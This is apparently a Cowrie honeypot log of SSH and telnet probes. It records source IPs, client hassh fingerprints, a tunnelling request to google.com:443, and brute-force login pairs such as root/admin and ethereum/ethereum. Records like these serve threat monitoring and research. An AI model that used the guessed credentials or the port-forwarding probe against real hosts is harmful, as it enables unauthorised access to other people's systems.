{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:40.175906Z","src_ip":"2.57.122.238","session":"1b283610d7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:40.486618Z","src_ip":"2.57.122.238","session":"1b283610d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:41.595832Z","src_ip":"2.57.122.238","session":"1b283610d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":55192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac76be063b69","protocol":"telnet","message":"New connection: 129.232.238.42:55192 (159.203.135.109:23) [session: ac76be063b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:47.481368Z"}
{"eventid":"cowrie.session.closed","duration":0.2527647018432617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:47.734011Z","src_ip":"129.232.238.42","session":"ac76be063b69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.107","src_port":46935,"dst_ip":"159.203.135.109","dst_port":22,"session":"00eb5c844811","protocol":"ssh","message":"New connection: 192.42.116.107:46935 (159.203.135.109:22) [session: 00eb5c844811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:56.134633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:56.293863Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:56.380967Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:57.330175Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:57.333847Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:57.566335Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20637,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00d01c40f98","protocol":"telnet","message":"New connection: 212.55.149.117:20637 (10.17.0.5:23) [session: b00d01c40f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:57.629379Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":34368,"dst_ip":"159.203.135.109","dst_port":22,"session":"e291240215c6","protocol":"ssh","message":"New connection: 154.221.23.112:34368 (159.203.135.109:22) [session: e291240215c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:04.965930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:04.971691Z","src_ip":"154.221.23.112","session":"e291240215c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:05.199512Z","src_ip":"154.221.23.112","session":"e291240215c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:05.855904Z","src_ip":"154.221.23.112","session":"e291240215c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.107","src_port":35688,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:35688","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:19.161337Z","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:19.411952Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\x8cu\\xaf;\\xfe>\\xe27Q\\xa4\\xce\\xd7\\xa0}\\x0b\\xdd\\xea\\x01\\xd70\\xe7b\\x85\\x13\\xde\\xd8pd\\x17D5 \\xfb\\xe4\\xa3U\\xb4\\x8f\\x81\\xa2\\xa8\\xa1Wc\\xcc\\x1a\\xe8\\xf7\\x8fXs\\r\\xb2\\x9c r\\x8d\\xaa\\x0b|O\\xff\\x8d9\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 r\\xce\\xb5\\xd6!\\xbb\\x1a\\xe5\\xd9\\x8axM\\xd2x\\xd7FR<\\x07\\xc0Vn\\xf7)\\xe3\\xf8eUx\\xf1\\xc4\\x1f\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\x8cu\\xaf;\\xfe>\\xe27Q\\xa4\\xce\\xd7\\xa0}\\x0b\\xdd\\xea\\x01\\xd70\\xe7b\\x85\\x13\\xde\\xd8pd\\x17D5 \\xfb\\xe4\\xa3U\\xb4\\x8f\\x81\\xa2\\xa8\\xa1Wc\\xcc\\x1a\\xe8\\xf7\\x8fXs\\r\\xb2\\x9c r\\x8d\\xaa\\x0b|O\\xff\\x8d9\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 r\\xce\\xb5\\xd6!\\xbb\\x1a\\xe5\\xd9\\x8axM\\xd2x\\xd7FR<\\x07\\xc0Vn\\xf7)\\xe3\\xf8eUx\\xf1\\xc4\\x1f\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:19.416480Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:59:19.656124Z","src_ip":"192.42.116.107","session":"00eb5c844811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36766,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d4ac4bd594","protocol":"ssh","message":"New connection: 2.57.122.238:36766 (10.17.0.5:22) [session: 20d4ac4bd594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:00:56.405069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:00:56.409212Z","src_ip":"2.57.122.238","session":"20d4ac4bd594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:00:56.510604Z","src_ip":"2.57.122.238","session":"20d4ac4bd594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:00:56.811944Z","src_ip":"2.57.122.238","session":"20d4ac4bd594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00216126441956,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:00:57.631387Z","src_ip":"212.55.149.117","session":"b00d01c40f98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:00:57.915222Z","src_ip":"2.57.122.238","session":"20d4ac4bd594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44132,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42bea747bea","protocol":"ssh","message":"New connection: 103.15.226.202:44132 (10.17.0.5:22) [session: d42bea747bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:01:56.085389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:01:56.090089Z","src_ip":"103.15.226.202","session":"d42bea747bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:01:56.335845Z","src_ip":"103.15.226.202","session":"d42bea747bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dh-qQ3j!soft","message":"login attempt [root/dh-qQ3j!soft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:01:57.073116Z","src_ip":"103.15.226.202","session":"d42bea747bea","protocol":"ssh"}
